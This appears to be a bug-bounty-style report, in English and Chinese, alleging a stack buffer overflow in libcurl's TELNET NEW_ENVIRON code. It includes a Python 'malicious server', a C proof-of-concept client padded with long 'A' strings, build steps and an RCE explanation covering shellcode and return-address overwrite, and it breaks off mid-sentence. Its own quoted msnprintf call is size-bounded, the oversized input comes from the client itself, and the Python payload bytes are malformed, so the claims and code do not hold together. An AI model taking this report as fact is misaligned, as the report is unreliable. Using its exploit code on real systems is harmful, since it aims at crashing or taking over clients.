Stack-based Buffer Overflow in TELNET NEW_ENV Option Handling
Vulnerability Description
Summary
libcurl TELNET处理器中存在栈缓冲区溢出漏洞。当libcurl连接到恶意TELNET服务器时,服务器可通过发送NEW_ENVIRON SEND请求触发溢出。这会导致客户端构造的响应覆盖固定大小的栈缓冲区,引发崩溃和潜在的远程代码执行(RCE)。用户使用curl命令行工具或任何使用libcurl的应用程序连接到恶意URL时都可能触发此漏洞。
Root Cause Analysis
漏洞位于curl/lib/telnet.c文件中的suboption()函数。当客户端收到服务器发送环境变量的请求时(通过CURLOPT_TELNETOPTIONS设置指定),它尝试在栈上构建响应数据包。
函数在栈上分配2048字节的缓冲区temp:
1
|
unsigned char temp[2048];
|
然后遍历用户提供的环境变量(tn->telnet_vars)。在将变量写入缓冲区前,执行大小检查:
1
2
3
4
|
size_t tmplen = (strlen(v->data) + 1);
if(len + tmplen < (int)sizeof(temp)-6) {
// ... 写入缓冲区的代码 ...
}
|
漏洞在于if块内变量写入缓冲区的方式。如果变量包含逗号(NEW_ENV格式为VAR,VALUE),它会被以下msnprintf调用处理:
1
2
3
|
len += msnprintf((char *)&temp[len], sizeof(temp) - len,
"%c%.*s%c%s", CURL_NEW_ENV_VAR,
(int)vlen, v->data, CURL_NEW_ENV_VALUE, ++s);
|
长度检查仅考虑tmplen(原始字符串长度),但此msnprintf调用通过添加两个控制字符(CURL_NEW_ENV_VAR和CURL_NEW_ENV_VALUE)扩展了字符串。这种差异允许攻击者绕过长度检查。通过提供一系列精心设计的NEW_ENV选项,攻击者可使msnprintf写入远超2048字节的temp缓冲区边界,破坏栈。
Impact
这是高严重性漏洞。成功利用会导致通过栈破坏的拒绝服务(崩溃)。更重要的是,由于溢出可控,攻击者可能以运行curl客户端的用户权限实现远程代码执行(RCE)。
Proof of Concept (POC)
此概念验证可靠地演示了漏洞。需要两个组件:充当恶意TELNET服务器的简单Python服务器和使用libcurl连接到它的C程序。
Component 1: Malicious TELNET Server (tiny_telnet_server.py)
此服务器监听端口2323,连接时发送特定的TELNET命令序列(IAC SB NEW_ENVIRON SEND IAC SE)触发客户端中的漏洞代码路径。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
import socket
import sys
import time
def main():
host = '127.0.0.1'
port = 2323
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((host, port))
server.listen(1)
print(f"[*] Simple TELNET server listening on {host}:{port}", file=sys.stderr)
# Command: IAC SB NEW_ENVIRON SEND IAC SE
telnet_command = b'\xff\xfa\x27\x01\xxff\xf0'
try:
conn, addr = server.accept()
print(f"[+] Connection from {addr}", file=sys.stderr)
print("[*] Sending TELNET NEW_ENVIRON command to trigger the vulnerability...", file=sys.stderr)
conn.sendall(telnet_command)
time.sleep(2) # Give client time to process and crash
print("[*] Closing connection.", file=sys.stderr)
conn.close()
except Exception as e:
print(f"[!] An error occurred: {e}", file=sys.stderr)
finally:
server.close()
print("[*] Server shut down.", file=sys.stderr)
if __name__ == '__main__':
main()
|
Component 2: Vulnerable Client (telnet_poc.c)
此C程序使用libcurl连接到服务器,使用特殊构造的CURLOPT_TELNETOPTIONS利用有缺陷的长度检查。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
|
#include <stdio.h>
#include <curl/curl.h>
int main(void)
{
CURL *curl;
CURLcode res;
struct curl_slist *options = NULL;
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if(curl) {
/* This payload uses a series of environment variables that are sized to
pass the flawed length check but expand via msnprintf to cause an
overflow of the 2048-byte stack buffer. The format is "NEW_ENV=VAR,VALUE". */
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
options = curl_slist_append(options, "NEW_ENV=USER,AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
curl_easy_setopt(curl, CURLOPT_URL, "telnet://127.0.0.1:2323");
curl_easy_setopt(curl, CURLOPT_TELNETOPTIONS, options);
curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);
res = curl_easy_perform(curl);
if(res != CURLE_OK && res != CURLE_RECV_ERROR)
fprintf(stderr, "curl_easy_perform() failed: %s\n",
curl_easy_strerror(res));
curl_slist_free_all(options);
curl_easy_cleanup(curl);
}
curl_global_cleanup();
return 0;
}
|
Reproduction Steps
1. Set up the Environment
确保您有安装了必要构建工具的Linux环境。在基于Debian的系统(如Ubuntu)上,可以使用以下命令安装:
1
2
|
sudo apt-get update
sudo apt-get install gcc git autoconf libtool libpsl-dev
|
2. Clone the curl Repository
1
|
git clone https://github.com/curl/curl.git
|
3. Build libcurl from Source
这些命令将配置、编译和安装本地版本的libcurl。我们禁用SSL,因为演示此TELNET漏洞不需要它。
1
2
3
4
5
6
|
cd curl
autoreconf -fi
./configure --prefix=$(pwd)/build --without-ssl
make
make install
cd ..
|
4. Compile the Proof of Concept (PoC) Client
此命令编译telnet_poc.c并将其链接到您刚构建的libcurl。确保telnet_poc.c位于克隆curl文件夹的同一目录中。
1
|
gcc telnet_poc.c -o telnet_poc -I curl/build/include -L curl/build/lib -lcurl -Wl,-rpath,$(pwd)/curl/build/lib
|
5. Execute the Vulnerability Test
您需要两个独立的终端窗口进行此最终步骤,都在项目目录中打开。
Terminal 1: Start the Server
运行Python服务器监听连接。确保tiny_telnet_server.py在当前目录中。
1
|
python3 tiny_telnet_server.py
|
Terminal 2: Run the Client
服务器运行时,在第二个终端中执行编译的PoC客户端。
Expected Result:
终端2中的客户端将连接到服务器并打印详细连接信息。您将看到大量’A’字符流发送回服务器,表明客户端的栈缓冲区已溢出。程序随后将以错误终止,如"Recv failure: Connection reset by peer"(因为服务器挂断)或在许多系统上以"Segmentation fault"崩溃。任一结果都确认了内存损坏。
Impact
Detailed Impact Assessment
此栈缓冲区溢出的影响为高。漏洞允许两种主要攻击场景,从保证的拒绝服务到高概率的远程代码执行。
1. Denial of Service (DoS) - Guaranteed Impact
最直接且容易实现的影响是拒绝服务。如概念验证所示,攻击者可通过说服用户或应用程序使用特殊构造的选项连接到恶意TELNET服务器来触发栈缓冲区溢出。
当溢出发生时,程序栈上的关键数据被破坏。这些数据包括局部变量,最重要的是函数的保存返回地址。当suboption()函数尝试返回或访问此损坏的内存时,程序将因无效内存访问而崩溃。这会立即终止curl进程或任何使用libcurl库的应用程序,阻止其进一步运行。这是可远程触发、未经身份验证的拒绝服务。
2. Remote Code Execution (RCE) - Potential Impact
更关键的影响是潜在的远程代码执行。栈缓冲区溢出是实现RCE的经典且充分理解的向量。攻击者的目标不仅是崩溃程序,还要控制其执行流。
这通常通过以下方式实现:
-
控制返回地址:栈上的主要目标是函数的返回地址。此地址告诉CPU在当前函数(suboption())完成后继续执行的位置。攻击者精心制作的有效载荷(溢出temp缓冲区)可以精确调整大小,用他们选择的地址覆盖此返回地址。
-
注入恶意代码(Shellcode):攻击者可以在溢出数据本身中包含自己的小型可执行代码(称为"shellcode")。
-
重定向执行:攻击者覆盖返回地址指向栈中,特别是他们的shellcode注入的位置。当suboption()函数完成时,它不是返回到合法的调用者,而是"返回"到攻击者的shellcode并开始执行它。
成功的RCE利用将授予攻击者在受害者机器上以运行curl命令的用户相同权限运行任意命令的能力。如果用户运行易受攻击的curl命令,攻击者将控制该用户帐户。如果命令由Web服务器、系统脚本或其他具有更高权限(如root)的自动化进程执行,攻击者可能获得对